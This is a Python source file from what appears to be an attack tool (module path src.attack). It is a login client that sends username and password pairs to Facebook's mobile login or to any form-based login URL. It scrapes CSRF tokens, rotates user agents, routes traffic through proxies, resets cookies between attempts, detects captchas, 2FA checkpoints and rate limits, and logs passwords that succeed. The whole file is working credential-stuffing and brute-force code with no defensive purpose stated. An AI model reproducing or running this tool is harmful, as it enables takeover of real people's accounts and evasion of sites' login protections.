298 lines
11 KiB
Python
298 lines
11 KiB
Python
"""
|
|
Generic login client — submits credential pairs to any HTML form-based login URL.
|
|
Defaults to Facebook (m.facebook.com) behaviour; fully configurable for other sites.
|
|
"""
|
|
import logging
|
|
import re
|
|
import threading
|
|
import time
|
|
from dataclasses import dataclass, field
|
|
from typing import Dict, List, Optional, Tuple
|
|
from urllib.parse import urlparse
|
|
|
|
import requests
|
|
from src.attack.user_agents import get_random_mobile_ua, get_random_facebook_ua
|
|
|
|
logger = logging.getLogger(__name__)
|
|
|
|
|
|
@dataclass
|
|
class SiteConfig:
|
|
"""Per-site configuration for the generic login client."""
|
|
login_url: str = "https://m.facebook.com/login.php"
|
|
base_url: str = "https://m.facebook.com"
|
|
|
|
username_field: str = "email"
|
|
password_field: str = "pass"
|
|
|
|
extra_fields: Dict[str, str] = field(default_factory=lambda: {
|
|
"login_source": "comet_headerless",
|
|
"login": "Log In",
|
|
})
|
|
|
|
csrf_field: str = "lsd"
|
|
csrf_patterns: List[str] = field(default_factory=lambda: [
|
|
r'name="lsd"[^>]*value="([^"]+)"',
|
|
r'"lsd"[^}]*?"([^"]+)"',
|
|
r'name="fb_dtsg"[^>]*value="([^"]+)"',
|
|
r'"fb_dtsg"\s*:\s*"([^"]+)"',
|
|
])
|
|
# (field_name, regex) — scraped from login page and merged into POST body
|
|
token_patterns: List[Tuple[str, str]] = field(default_factory=lambda: [
|
|
("lsd", r'name="lsd"[^>]*value="([^"]+)"'),
|
|
("fb_dtsg", r'name="fb_dtsg"[^>]*value="([^"]+)"'),
|
|
("jazoest", r'name="jazoest"[^>]*value="([^"]+)"'),
|
|
("m_ts", r'name="m_ts"[^>]*value="([^"]+)"'),
|
|
("li", r'name="li"[^>]*value="([^"]+)"'),
|
|
])
|
|
|
|
success_cookies: List[str] = field(default_factory=lambda: ["c_user", "xs", "sb"])
|
|
success_url_fragments: List[str] = field(default_factory=lambda: [
|
|
"home", "feed", "stories", "facebook.com/?", "m.facebook.com/?",
|
|
])
|
|
# bug #3: extended failure fragments to prevent false-positive successes
|
|
failure_url_fragments: List[str] = field(default_factory=lambda: [
|
|
"login", "checkpoint", "recover", "two_step",
|
|
"privacy", "help", "about", "terms",
|
|
])
|
|
captcha_indicators: List[str] = field(default_factory=lambda: [
|
|
"recaptcha", "hcaptcha", "g-recaptcha", "captcha",
|
|
"security check", "confirm your identity",
|
|
"unusual activity", "prove you're human", "verify it's you",
|
|
])
|
|
rate_limit_indicators: List[str] = field(default_factory=lambda: [
|
|
"too many", "try again later", "rate limit", "temporarily blocked",
|
|
])
|
|
wrong_pass_indicators: List[str] = field(default_factory=lambda: [
|
|
"incorrect", "wrong password", "invalid", "didn't match",
|
|
"password you entered", "not match", "login failed",
|
|
])
|
|
|
|
@classmethod
|
|
def for_url(cls, url: str) -> "SiteConfig":
|
|
parsed = urlparse(url)
|
|
base = f"{parsed.scheme}://{parsed.netloc}"
|
|
return cls(
|
|
login_url=url,
|
|
base_url=base,
|
|
extra_fields={},
|
|
csrf_field="",
|
|
# bug #7: generic sites still scrape hidden inputs (populated dynamically)
|
|
token_patterns=[],
|
|
success_cookies=[],
|
|
success_url_fragments=[],
|
|
failure_url_fragments=["login", "signin", "auth", "error"],
|
|
)
|
|
|
|
|
|
@dataclass
|
|
class LoginResult:
|
|
success: bool
|
|
status_code: int
|
|
response_time_ms: float
|
|
message: str
|
|
captcha_detected: bool = False
|
|
cookies: Optional[Dict] = None
|
|
redirect_url: Optional[str] = None
|
|
|
|
|
|
class LoginClient:
|
|
"""Generic HTML-form login client with thread-local HTTP sessions."""
|
|
|
|
def __init__(
|
|
self,
|
|
site_config: Optional[SiteConfig] = None,
|
|
request_timeout: int = 20,
|
|
):
|
|
self.site = site_config or SiteConfig()
|
|
self.request_timeout = request_timeout
|
|
self._local = threading.local()
|
|
|
|
def reconfigure(self, site_config: SiteConfig):
|
|
self.site = site_config
|
|
session = getattr(self._local, "session", None)
|
|
if session is not None:
|
|
session.cookies.clear()
|
|
|
|
def _get_session(self) -> requests.Session:
|
|
session = getattr(self._local, "session", None)
|
|
if session is None:
|
|
session = requests.Session()
|
|
session.headers.update({
|
|
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
|
|
"Accept-Language": "en-US,en;q=0.5",
|
|
"Accept-Encoding": "gzip, deflate, br",
|
|
"Connection": "keep-alive",
|
|
"Upgrade-Insecure-Requests": "1",
|
|
})
|
|
self._local.session = session
|
|
return session
|
|
|
|
def _get_form_tokens(self, proxies: Dict) -> Dict[str, str]:
|
|
"""
|
|
Scrape the login page for CSRF tokens and any hidden <input> fields.
|
|
For generic sites (bug #7) we also scan all hidden inputs.
|
|
"""
|
|
tokens: Dict[str, str] = {}
|
|
try:
|
|
ua = get_random_mobile_ua()
|
|
session = self._get_session()
|
|
resp = session.get(
|
|
self.site.login_url,
|
|
proxies=proxies,
|
|
headers={"User-Agent": ua},
|
|
timeout=self.request_timeout,
|
|
)
|
|
html = resp.text
|
|
|
|
# Named token patterns (Facebook-specific)
|
|
for field_name, pattern in self.site.token_patterns:
|
|
m = re.search(pattern, html)
|
|
if m:
|
|
tokens[field_name] = m.group(1)
|
|
|
|
if not tokens and self.site.csrf_field:
|
|
for pattern in self.site.csrf_patterns:
|
|
m = re.search(pattern, html)
|
|
if m:
|
|
tokens[self.site.csrf_field] = m.group(1)
|
|
break
|
|
|
|
# bug #7: for generic sites, also scrape ALL hidden input fields
|
|
if not self.site.token_patterns:
|
|
hidden_inputs = re.findall(
|
|
r'<input[^>]+type=["\']hidden["\'][^>]*name=["\']([^"\']+)["\'][^>]*value=["\']([^"\']*)["\']',
|
|
html, re.IGNORECASE
|
|
)
|
|
hidden_inputs += re.findall(
|
|
r'<input[^>]+name=["\']([^"\']+)["\'][^>]*type=["\']hidden["\'][^>]*value=["\']([^"\']*)["\']',
|
|
html, re.IGNORECASE
|
|
)
|
|
for name, value in hidden_inputs:
|
|
if name not in tokens:
|
|
tokens[name] = value
|
|
|
|
except Exception as e:
|
|
logger.debug(f"Form token fetch failed: {e}")
|
|
return tokens
|
|
|
|
def attempt_login(
|
|
self,
|
|
username: str,
|
|
password: str,
|
|
proxy_string: Optional[str] = None,
|
|
) -> LoginResult:
|
|
start = time.time()
|
|
proxies = self._build_proxies(proxy_string)
|
|
ua = get_random_facebook_ua()
|
|
session = self._get_session()
|
|
|
|
# bug #8: clear cookies before each attempt so prior failures don't pollute
|
|
session.cookies.clear()
|
|
|
|
try:
|
|
tokens = self._get_form_tokens(proxies)
|
|
|
|
payload: Dict[str, str] = {
|
|
self.site.username_field: username,
|
|
self.site.password_field: password,
|
|
}
|
|
payload.update(tokens)
|
|
payload.update(self.site.extra_fields)
|
|
|
|
headers = {
|
|
"User-Agent": ua,
|
|
"Origin": self.site.base_url,
|
|
"Referer": self.site.login_url,
|
|
"Content-Type": "application/x-www-form-urlencoded",
|
|
"Cache-Control": "max-age=0",
|
|
}
|
|
|
|
resp = session.post(
|
|
self.site.login_url,
|
|
data=payload,
|
|
proxies=proxies,
|
|
headers=headers,
|
|
timeout=self.request_timeout,
|
|
allow_redirects=True,
|
|
)
|
|
elapsed = (time.time() - start) * 1000
|
|
return self._analyse(resp, password, elapsed, session)
|
|
|
|
except requests.ConnectTimeout:
|
|
return LoginResult(False, 0, _ms(start), "Connection timeout")
|
|
except requests.ProxyError as e:
|
|
return LoginResult(False, 0, _ms(start), f"Proxy error: {str(e)[:80]}")
|
|
except requests.ConnectionError as e:
|
|
return LoginResult(False, 0, _ms(start), f"Connection error: {str(e)[:80]}")
|
|
except Exception as e:
|
|
return LoginResult(False, 0, _ms(start), f"Error: {str(e)[:100]}")
|
|
|
|
def _analyse(
|
|
self,
|
|
resp: requests.Response,
|
|
password: str,
|
|
elapsed: float,
|
|
session: requests.Session,
|
|
) -> LoginResult:
|
|
url = resp.url.lower()
|
|
text = resp.text.lower()
|
|
code = resp.status_code
|
|
|
|
# Session cookies (including redirects)
|
|
all_cookies = {**session.cookies.get_dict(), **resp.cookies.get_dict()}
|
|
|
|
if "checkpoint" in url or "two_step" in url:
|
|
return LoginResult(
|
|
False, code, round(elapsed, 1),
|
|
"Checkpoint / 2FA — manual step required",
|
|
cookies=all_cookies,
|
|
redirect_url=resp.url,
|
|
)
|
|
|
|
if any(kw in text for kw in self.site.captcha_indicators):
|
|
return LoginResult(
|
|
False, code, round(elapsed, 1),
|
|
"CAPTCHA detected", captcha_detected=True,
|
|
)
|
|
|
|
# bug #3: success requires cookies OR explicit success URL fragment
|
|
for cookie in self.site.success_cookies:
|
|
if cookie in all_cookies:
|
|
logger.info(f"SUCCESS via cookie '{cookie}': {password}")
|
|
return LoginResult(
|
|
True, code, round(elapsed, 1),
|
|
"Login successful!",
|
|
cookies=all_cookies,
|
|
redirect_url=resp.url,
|
|
)
|
|
|
|
failed_frag = any(f in url for f in self.site.failure_url_fragments)
|
|
if not failed_frag and code in (200, 302):
|
|
if any(f in url for f in self.site.success_url_fragments):
|
|
return LoginResult(
|
|
True, code, round(elapsed, 1),
|
|
f"Redirected to: {url[:60]}",
|
|
cookies=all_cookies,
|
|
redirect_url=resp.url,
|
|
)
|
|
# bug #3: removed broad "facebook.com" catch-all; only explicit fragments accepted
|
|
|
|
if any(kw in text for kw in self.site.rate_limit_indicators):
|
|
return LoginResult(False, code, round(elapsed, 1), "Rate limited")
|
|
|
|
if any(kw in text for kw in self.site.wrong_pass_indicators):
|
|
return LoginResult(False, code, round(elapsed, 1), "Incorrect password")
|
|
|
|
return LoginResult(False, code, round(elapsed, 1), f"Failed (HTTP {code})")
|
|
|
|
@staticmethod
|
|
def _build_proxies(proxy_string: Optional[str]) -> Dict:
|
|
if not proxy_string:
|
|
return {}
|
|
return {"http": proxy_string, "https": proxy_string}
|
|
|
|
|
|
def _ms(start: float) -> float:
|
|
return round((time.time() - start) * 1000, 1)
|